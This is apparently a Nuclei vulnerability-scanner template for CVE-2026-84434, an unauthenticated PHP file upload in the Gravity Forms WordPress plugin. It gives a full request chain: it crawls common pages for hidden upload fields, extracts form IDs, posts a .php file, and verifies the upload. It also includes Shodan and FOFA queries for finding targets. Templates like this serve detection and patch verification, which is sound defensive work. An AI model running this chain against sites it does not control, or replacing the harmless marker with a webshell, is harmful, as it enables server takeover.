id: CVE-2026-84434 info: name: WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload author: DhiyaneshDk severity: critical description: | Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class. impact: | Unauthenticated attackers can upload arbitrary files including PHP webshells, enabling remote code execution on the web server leading to full server compromise. remediation: | Update Gravity Forms to version 3.1.1 or later. reference: - https://github.com/murrez/CVE-2026-84434 - https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-3-1-0-4-unauthenticated-arbitrary-file-upload-via-hidden-file-upload-field-vulnerability - https://www.wordfence.com/threat-intel/vulnerabilities/id/787e22a9-329b-4e71-bc2a-4f5524fc9356 - https://docs.gravityforms.com/gravityforms-change-log/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-84434 epss-score: 0.0391 epss-percentile: 0.90214 cwe-id: CWE-434 metadata: verified: true max-request: 21 vendor: rocketgenius product: gravityforms shodan-query: 'http.html:"gravityforms" http.html:"gform_wrapper"' fofa-query: 'body="gravityforms" && body="gform_wrapper"' tags: cve,cve2026,wordpress,plugin,gravityforms,file-upload,rce,unauth,vkev variables: marker: "{{rand_text_alpha(16)}}" fname: "{{rand_text_alpha(10)}}" boundary: "NucleiUpload{{rand_text_alpha(12)}}" flow: | http("detect"); let scanPaths = ["/", "/contact/", "/contact-us/", "/get-in-touch/", "/support/", "/apply/", "/register/", "/signup/", "/donate/", "/quote/", "/request-quote/", "/book/", "/appointment/", "/upload/"]; let formFound = false; for (let i = 0; i < scanPaths.length; i++) { set("scan_path", scanPaths[i]); http("scan"); if (template["form_id"] && template["hidden_field_input_name"]) { set("found_page_path", scanPaths[i]); formFound = true; break; } set("form_id", ""); set("hidden_field_input_name", ""); } if (!formFound) { stop(); } http("submit-page"); if (!template["upload_file_url"] && !template["upload_rel_url"] && template["gform_ajax_value"]) { http("submit-ajax"); } let verifyUrl = template["upload_file_url"] || template["upload_rel_url"] || ""; if (verifyUrl) { if (!verifyUrl.startsWith("http")) { verifyUrl = "{{BaseURL}}/" + verifyUrl; } verifyUrl = verifyUrl.replace(/&/g, "&"); set("verify_url", verifyUrl); http("verify-upload"); } http: - id: detect raw: - | GET /wp-content/plugins/gravityforms/gravityforms.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' internal: true - id: scan raw: - | GET {{BaseURL}}{{scan_path}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains_all(body, "gfield_visibility_hidden", "gfield--type-fileupload", "gravityforms")' internal: true extractors: - type: regex name: form_id part: body internal: true group: 1 regex: - 'id=["'']?gform_wrapper_([0-9]+)["'']?' - type: regex name: hidden_field_input_name part: body internal: true group: 1 regex: - 'gfield_visibility_hidden[^>]*>[\s\S]{0,800}?name=["''](input_[0-9]+(?:_[0-9]+)?)["''][^>]*type=["'']file["'']' - 'gfield_visibility_hidden[^>]*>[\s\S]{0,800}?type=["'']file["''][^>]*name=["''](input_[0-9]+(?:_[0-9]+)?)["'']' - type: regex name: form_unique_id part: body internal: true group: 1 regex: - 'name=["'']gform_unique_id["''][^>]*value=["'']([^"'']*)["'']' - type: regex name: gform_ajax_value part: body internal: true group: 1 regex: - 'name=["'']gform_ajax["''][^>]*value=["'']([^"'']*)["'']' - id: submit-page raw: - | POST {{BaseURL}}{{found_page_path}} HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----{{boundary}} Referer: {{BaseURL}}{{found_page_path}} Origin: {{RootURL}} ------{{boundary}} Content-Disposition: form-data; name="is_submit_{{form_id}}" 1 ------{{boundary}} Content-Disposition: form-data; name="gform_submit" {{form_id}} ------{{boundary}} Content-Disposition: form-data; name="gform_unique_id" {{form_unique_id}} ------{{boundary}} Content-Disposition: form-data; name="gform_target_page_number_{{form_id}}" 0 ------{{boundary}} Content-Disposition: form-data; name="gform_source_page_number_{{form_id}}" 1 ------{{boundary}} Content-Disposition: form-data; name="{{hidden_field_input_name}}"; filename="{{fname}}.php" Content-Type: application/x-php {{marker}} ------{{boundary}}-- matchers: - type: dsl dsl: - 'contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")' extractors: - type: regex name: upload_file_url part: body internal: true group: 1 regex: - 'href=[''"]((?:https?:)?//[^''"]*gf-download=[^''"]+)[''"]' - type: regex name: upload_rel_url part: body internal: true group: 0 regex: - 'index\.php\?gf-download=[^''"<>\s]+' - id: submit-ajax raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----{{boundary}} Referer: {{BaseURL}}{{found_page_path}} Origin: {{RootURL}} ------{{boundary}} Content-Disposition: form-data; name="action" gform_ajax ------{{boundary}} Content-Disposition: form-data; name="gform_ajax" {{gform_ajax_value}} ------{{boundary}} Content-Disposition: form-data; name="is_submit_{{form_id}}" 1 ------{{boundary}} Content-Disposition: form-data; name="gform_submit" {{form_id}} ------{{boundary}} Content-Disposition: form-data; name="gform_unique_id" {{form_unique_id}} ------{{boundary}} Content-Disposition: form-data; name="gform_target_page_number_{{form_id}}" 0 ------{{boundary}} Content-Disposition: form-data; name="gform_source_page_number_{{form_id}}" 1 ------{{boundary}} Content-Disposition: form-data; name="{{hidden_field_input_name}}"; filename="{{fname}}.php" Content-Type: application/x-php {{marker}} ------{{boundary}}-- matchers: - type: dsl dsl: - 'contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")' internal: true extractors: - type: regex name: upload_file_url part: body internal: true group: 1 regex: - 'href=[''"]((?:https?:)?//[^''"]*gf-download=[^''"]+)[''"]' - type: regex name: upload_rel_url part: body internal: true group: 0 regex: - 'index\.php\?gf-download=[^''"<>\s]+' - id: verify-upload raw: - | GET {{verify_url}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "{{marker}}")' # digest: 4a0a004730450220560484d893a5cbae75d6975982187ef4a6cd899967e3be031dd1fcea922eef25022100898c9c0d6d9427921104cbecc289d051969e660e4070ead751d3af71cb739657:922c64590222798bb761d5b6d8e72950